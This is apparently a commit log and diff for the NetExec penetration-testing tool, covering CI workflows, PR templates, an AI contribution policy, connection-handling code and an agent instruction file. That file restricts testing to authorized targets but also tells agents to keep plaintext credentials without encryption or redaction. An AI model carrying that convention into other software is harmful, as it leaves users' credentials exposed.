[ShadowCopy] Add `list-snapshots` function for SMB & WMI
2026-01-05 00:52:55 +01:00
Alexander Neff 1d672fe7dc Typos 2026-01-04 18:48:36 -05:00
Alexander Neff 0e0efd8a7a Remove unused imports 2026-01-04 18:21:22 -05:00
Alexander Neff 6f73cdc556 Formatting 2026-01-04 17:43:52 -05:00
Alexander Neff 2ac20c4fd3 Fix enum_dns wmi query 2026-01-04 17:38:11 -05:00
Alex 182c89851d Merge pull request #1057 from Pennyw0rth/neff-fix-nfs-ls
Fix ls arg in nfs
2026-01-01 15:05:40 +01:00
Alexander Neff 440ecb5b34 Handle lookup failures 2026-01-01 08:57:32 -05:00
Alexander Neff d86df0e739 Update auth values for every sub dir 2026-01-01 08:57:23 -05:00
XiaoliChan 82f89676f5 [WMIExec] Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2026-01-01 21:37:52 +08:00
XiaoliChan 60b2bbcc31 Merge branch 'main' into list-snapshot 2026-01-01 01:50:16 +08:00
Alex a3d4216300 Merge pull request #1055 from termanix/terman-fix
Fix Not Listing All User on Groups
2025-12-31 18:42:16 +01:00
Alex 3fd564ba33 Merge pull request #1056 from Pennyw0rth/neff-fix-pre2k-change-pw
Allow changing password for locked pre2k accounts
2025-12-31 18:30:18 +01:00
Alexander Neff dd6c51b4d3 Allow changing password for locked pre2k accounts 2025-12-31 12:05:22 -05:00
Alexander Neff 03d42f20ed Fix display name for groups 2025-12-31 11:39:19 -05:00
Alexander Neff 3e3c19f28d Formatting 2025-12-31 10:55:56 -05:00
Alexander Neff e4b9dc7e84 Remove wrong comment 2025-12-31 10:50:27 -05:00
Alexander Neff 3908554688 Formatting 2025-12-31 10:49:12 -05:00
Alexander Neff 5cd36496f3 Add primaryGroupId search to admin check 2025-12-31 10:48:42 -05:00
Alexander Neff 50ce1129e6 Remove duplicate size limit 2025-12-31 10:26:04 -05:00
Alexander Neff 76fedd68ee Simplify logic 2025-12-31 10:23:38 -05:00
termanix 08f35a4bc5 removed filter type 2025-12-31 17:02:03 +02:00
termanix 7dfe103636 Fixed if returns another group and removed nesting. It checks for groupDN and PrimaryGroupID 2025-12-31 16:59:41 +02:00
termanix af3d62f4e2 ruff fix 2025-12-31 13:56:44 +02:00
termanix 461b1ed3f4 Fixed groups self.args 2025-12-31 13:41:42 +02:00
0x0Trace 9f27582b42 feat(ldap): add ADCS collection support via CertiHound
Add Active Directory Certificate Services (ADCS) enumeration to the
BloodHound collection workflow using CertiHound library.

Changes:
- Add 'adcs' to valid collection methods in resolve_collection_methods()
- Add CertiHound as optional dependency (pip install netexec[adcs])
- Implement _collect_adcs_for_bloodhound() for ADCS data collection
- Update bloodhound() to handle ADCS-only and combined collections
- Export ADCS data in BloodHound CE v6 format
2025-12-31 03:45:49 -05:00
XiaoliChan 35118c49e6 [WMI Query]: Rename function from 'wmi' to 'wmi_query'
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 20:21:49 +08:00
XiaoliChan 0b56dde6c6 [SMB] WMI Quqery: Bug fix of while condition
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 20:01:21 +08:00
XiaoliChan 28e5fa9eba [List Snapshots] Show shadowcopy InstallDate in WMI Query
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:39:02 +08:00
XiaoliChan 6f421d977f [List Snapshots] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:25:24 +08:00
XiaoliChan 20e5fb1783 [WMI Query] Align with wmi.py and update func name in modules
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:19:55 +08:00
XiaoliChan a88a6801bd [ShadowCopy] Follow coding style
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 17:44:34 +08:00
XiaoliChan 14bac800c1 [ShadowCopy] Add list-snapshots function for SMB & WMI
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 17:31:38 +08:00
Alex 6ae1f0b93a Merge pull request #1051 from Pennyw0rth/neff-binaries
Rename windows binary
2025-12-26 16:35:43 +01:00
Alexander Neff a718893930 Rename windows binary 2025-12-26 10:29:06 -05:00
Alex fbabaa73dc Merge pull request #1050 from Pennyw0rth/fix-binaries
Fix binaries
2025-12-26 15:59:14 +01:00
Alexander Neff 613659d605 Fix hidden imports for binary 2025-12-26 09:45:25 -05:00
Alexander Neff d541425628 Fix e2e tests 2025-12-26 09:45:10 -05:00
Alexander Neff e2bd8b3f66 Fix vnc module 2025-12-26 09:44:30 -05:00
Aurélien CHALOT d9610f1247 Simplified again 2025-12-24 13:37:03 +01:00
Aurélien CHALOT 5761da9332 Simplified logic 2025-12-24 13:26:48 +01:00
Aurélien CHALOT 21c0af3f95 Update e2e 2025-12-24 11:15:22 +01:00
Aurélien CHALOT 44ddcdc551 Add mssql_cbt checker module 2025-12-24 11:11:24 +01:00
Wyndoo beedfe0a97 Create get-scriptpath.py
Signed-off-by: Wyndoo <[email protected]>
2025-12-16 20:19:43 +01:00
Wyndoo b2827adc71 Updating e2e_commands.txt
Signed-off-by: Wyndoo <[email protected]>
2025-12-16 19:21:34 +01:00
Alex 03c2821c11 Merge branch 'main' into main 2025-11-19 12:05:22 +01:00
termanix 3a90c7f555 Merge branch 'main' into patch-1 2025-07-21 17:40:33 +03:00
Fabrizzio53 664055c7c3 Update e2e_commands.txt
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:17:12 -03:00
Fabrizzio53 ac55e28fee update tombstone.py to fix when ntlm is disabled
When netexec impacket gets merged with the most up to date version from fortra this fix will work when a domain disabled ntlm

Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 74c2cd0c89 Renamed gravedigger.py to tombstone.py and changed the name at the script
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 5b1cacf566 Create gravedigger.py
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
termanix a2ea6b9db7 Refactor strict attribute access
Signed-off-by: termanix <[email protected]>
2025-06-24 10:48:35 +03:00
termanix 7c9786d954 Merge branch 'main' into patch-1 2025-06-24 09:45:32 +03:00
termanix 9b31baa7ff added to e2e 2025-06-16 15:21:17 -04:00
termanix 376b7e0762 removed unnecessary search 2025-06-16 15:20:10 -04:00
termanix 2c6e23c4c0 Merge branch 'main' into patch-1 2025-06-16 22:05:41 +03:00
crosscutsaw 04aca03a9f Update rclone.py
Signed-off-by: crosscutsaw <[email protected]>
2025-06-13 00:47:52 +03:00
termanix 3f78320966 ruff fix 2025-06-12 08:03:42 -04:00
termanix 6bbe239166 Added LDAP Search OUs 2025-06-12 07:38:29 -04:00
LTJAX 3bb35503ed Add mssql_dumper module for sensitive data discovery 2025-05-19 17:34:43 +03:00
emre 170efd36e9 Update rclone.py 2025-04-24 01:41:40 +03:00
emre 4440eb86d6 Create rclone.py 2025-04-23 19:47:04 +03:00
175 changed files with 13706 additions and 5923 deletions

No files matched your search

+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: NetExec Wiki
url: https://www.netexec.wiki/
about: Check the wiki for usage guides and documentation before opening an issue.
- name: NetExec Discord
url: https://discord.com/invite/pjwUTQzg8R
about: Join the Discord for general questions and community support.
+20 -8
View File
@@ -1,10 +1,17 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
Insert an "x" inside the brackets for relevant items
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
@@ -12,24 +19,29 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
- Is additional software needed?
- GPO changes required?
- Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
If appropriate, include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
- [ ] I have performed a self-review of my own code (_not_ an AI review)
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+3 -3
View File
@@ -9,8 +9,8 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
@@ -27,7 +27,7 @@ jobs:
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
with:
name: nxc.exe
name: nxc-windows.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+10 -14
View File
@@ -14,20 +14,16 @@ jobs:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
enable-cache: true
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
uv run ruff --version
uv run ruff check . --preview
+54
View File
@@ -0,0 +1,54 @@
name: PR Template Check
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
check-template:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Check PR description for template sections
uses: actions/github-script@v7
with:
script: |
const body = context.payload.pull_request.body || '';
const requiredSections = [
'## Description',
'## Type of change',
'## Setup guide for the review',
'## Checklist'
];
const missingSections = requiredSections.filter(
section => !body.includes(section)
);
if (missingSections.length === 0) return;
// Check if we already left a comment to avoid spamming
const comments = await github.rest.issues.listComments({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number
});
const botComment = comments.data.find(
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
);
if (botComment) return;
const missing = missingSections.map(s => `- ${s}`).join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
});
+19 -28
View File
@@ -14,35 +14,26 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
enable-cache: true
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
+2
View File
@@ -64,3 +64,5 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
+48
View File
@@ -0,0 +1,48 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+78
View File
@@ -0,0 +1,78 @@
# AI Usage Policy
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
The NetExec project has strict rules for AI usage:
- **All AI usage in any form must be disclosed.** You must state
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
Codex 5.2, etc) along with the extent that the work was AI-assisted.
- **Pull requests created in any way by AI can only be for accepted issues.**
Drive-by pull requests that do not reference an accepted issue may be
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
the PR may be rejected and closed. If you want to share code for a
non-accepted issue, open a discussion or attach it to the existing issue.
- **Pull requests created by AI must have been fully verified with
human use.** AI must not create hypothetically correct code that
hasn't been tested. Importantly, you must not allow AI to write
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
other rules in this policy.
- **Bad AI drivers will be banned** You've been warned. We love to help junior
developers learn and grow, but if you're interested in that then don't use
AI, and we'll help you.
- **Official maintainers have the final say** We always strive to be helpful,
but there are limits. If you submit agregiously terrible AI generated code
with no review, we may ban you without word. We do not want to waste our
time reviewing slop if the contributor can't be bothered to review the work
themselves.
These rules apply only to outside contributions to NetExec. Maintainers
and trusted contributors are exempt from these rules and may use AI tools at
their discretion; they've proven themselves trustworthy to apply good judgment.
## There are Humans Here
Please remember that NetExec is maintained by humans.
Every discussion, issue, and pull request is read and reviewed by
humans (and sometimes machines, too). It is a boundary point at which
people interact with each other and the work done. It is rude and
disrespectful to approach this boundary with low-effort, unqualified
work, since it puts the burden of validation on the maintainers.
In a perfect world, AI would produce high-quality, accurate work
every time, but today that is simply not true. This is compounded by the fact
that accessibility to AI is high, allowing low skilled individuals to think
that they are contributing useful code. Even many skilled programmers do not
understand how to use it effectively. This has opened up a waterfall of low
quality contributions across the Open Source community, wasting resources.
## AI is Welcome Here, Within Reason
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
are open to leveraging this technology to improve NetExec; however, there are
many low quality AI tools whose use results in pure slop being generated. The
security communinity is not immune from AI psychosis, over-hype, or FOMO.
As with any new technology, it is important to understand how it works and how
to best use it, not blindly apply it to every use case with the hope that it
will fix all your issues.
We include this section to be transparent about the project's usage about
AI for people who may disagree with it.
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
ruff check .
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
+1
View File
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+19 -4
View File
@@ -19,7 +19,10 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certipy',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
@@ -29,11 +32,12 @@ a = Analysis(
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'impacket.krb5.kpasswd',
'nxc.connection',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
@@ -45,9 +49,12 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'paramiko',
'pefile',
'pypsrp.client',
@@ -78,11 +85,19 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+3 -1
View File
@@ -30,8 +30,10 @@ def gen_cli_args():
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
+7
View File
@@ -38,6 +38,13 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+51 -65
View File
@@ -5,7 +5,7 @@ import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from threading import BoundedSemaphore, Lock
from functools import wraps
from time import sleep
from ipaddress import ip_address
@@ -14,16 +14,14 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
sem = BoundedSemaphore(1)
fail_lock = Lock()
global_failed_logins = 0
user_failed_logins = {}
@@ -98,37 +96,6 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
@@ -137,19 +104,24 @@ class connection:
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -171,12 +143,14 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -238,27 +212,26 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
@@ -314,26 +287,28 @@ class connection:
def inc_failed_login(self, username):
global global_failed_logins, user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
with fail_lock:
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
